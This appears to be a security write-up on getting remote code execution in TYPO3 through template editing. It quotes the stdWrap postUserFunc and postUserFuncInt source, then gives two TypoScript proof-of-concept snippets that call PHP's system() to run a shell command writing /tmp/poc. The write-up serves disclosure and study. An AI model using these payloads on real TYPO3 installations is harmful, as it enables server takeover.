What is to be rendered on a page in the frontend, the menu structure, how content objects are displayed, etc. can be defined with TypoScript - often it is used in combination with the Fluid templating engine. - docs.typo3.org

TypoScript can have 2 meanings:

  • TypoScript syntax is used in TypoScript templates and in TSconfig.
  • TypoScript templates are used to configure the TYPO3 frontend rendering.

If you are one day in the situation to be able to edit the contents of a Typo3 template then it will be possible for you to exploit the following vulnerabilities:

  • Remote Code Execution (RCE)
  • SQL injection (SQLi)
  • Full Path Disclosure

To find the vulnerabilities you just have to read the docs, it takes time but it is worth it.

General documentation: https://docs.typo3.org/m/typo3/reference-typoscript/master/en-us/Index.html

Remote Code Execution

Why ?

The complex data type TEXT has a property “value” which is defined as having a simple data type “string”.

Here is the list of value’s property:

  • addParams
  • cache
  • Calc
  • encapsLines
  • filelink
  • getEnv
  • HTMLparser
  • HTMLparser_tags
  • if
  • imageLinkWrap
  • imgResource
  • makelinks
  • numberFormat
  • numRows
  • optionSplit
  • parseFunc
  • replacement
  • round
  • select
  • split
  • stdWrap
  • strPad
  • tags
  • typolink

When a data type is set to “type /stdWrap” it means that the value is parsed through the stdWrap function with the properties of the value as parameters.

When reading the documentation of stdWrap it appears that it has two properties which will allow us to achieve the execution fo PHP code:

Calls the provided PHP function. If you specify the name with a “->” in it, then it is interpreted as a call to a method in a class. Two parameters are sent to the PHP function: As first parameter a content variable, which contains the current content. This is the value to be processed. As second parameter any sub-properties of postUserFunc are provided to the function.

File: <ROOT>/typo3/sysext/frontend/Classes/ContentObject/ContentObjectRenderer.php


...

    /**
     * postUserFunc
     * Will execute a user function after the content has been modified by any other stdWrap function
     *
     * @param string $content Input value undergoing processing in this function.
     * @param array $conf stdWrap properties for postUserFunc.
     * @return string The processed input value
     */
    public function stdWrap_postUserFunc($content = '', $conf = [])
    {
        return $this->callUserFunction($conf['postUserFunc'], $conf['postUserFunc.'], $content);
    }

...

Calls the provided PHP function. If you specify the name with a “->” in it, then it is interpreted as a call to a method in a class. Two parameters are sent to the PHP function: As first parameter a content variable, which contains the current content. This is the value to be processed. As second parameter any sub-properties of postUserFuncInt are provided to the function.

File: <ROOT>/typo3/sysext/frontend/Classes/ContentObject/ContentObjectRenderer.php


...

    /**
     * postUserFuncInt
     * Will execute a user function after the content has been created and each time it is fetched from Cache
     * The result of this function itself will not be cached
     *
     * @param string $content Input value undergoing processing in this function.
     * @param array $conf stdWrap properties for postUserFuncInt.
     * @return string The processed input value
     */
    public function stdWrap_postUserFuncInt($content = '', $conf = [])
    {
        $substKey = 'INT_SCRIPT.' . $this->getTypoScriptFrontendController()->uniqueHash();
        $this->getTypoScriptFrontendController()->config['INTincScript'][$substKey] = [
            'content' => $content,
            'postUserFunc' => $conf['postUserFuncInt'],
            'conf' => $conf['postUserFuncInt.'],
            'type' => 'POSTUSERFUNC',
            'cObj' => serialize($this)
        ];
        $content = '<!--' . $substKey . '-->';
        return $content;
    }

...

How ?

Exploit using postUserFunc:

# Start POC of Remote Code Execution
page = PAGE
page.1 = TEXT
page.1 {
   value = echo dGVzdAo=|base64 -d|dd of=/tmp/poc
   stdWrap.postUserFunc = system
}
# End POC of Remote Code Execution

Exploit using postUserFuncInt:

# Start POC of Remote Code Execution
page = PAGE
page.1 = TEXT
page.1 {
   value = echo dGVzdAo=|base64 -d|dd of=/tmp/poc
   stdWrap.postUserFuncInt = system
}
# End POC of Remote Code Execution

POC

Edit a template:

alt text

Then trigger the content rendering by requesting a page using the template, here the page index.php from the Web application root http://127.0.0.1/projects/typo3/9.5.24/.

alt text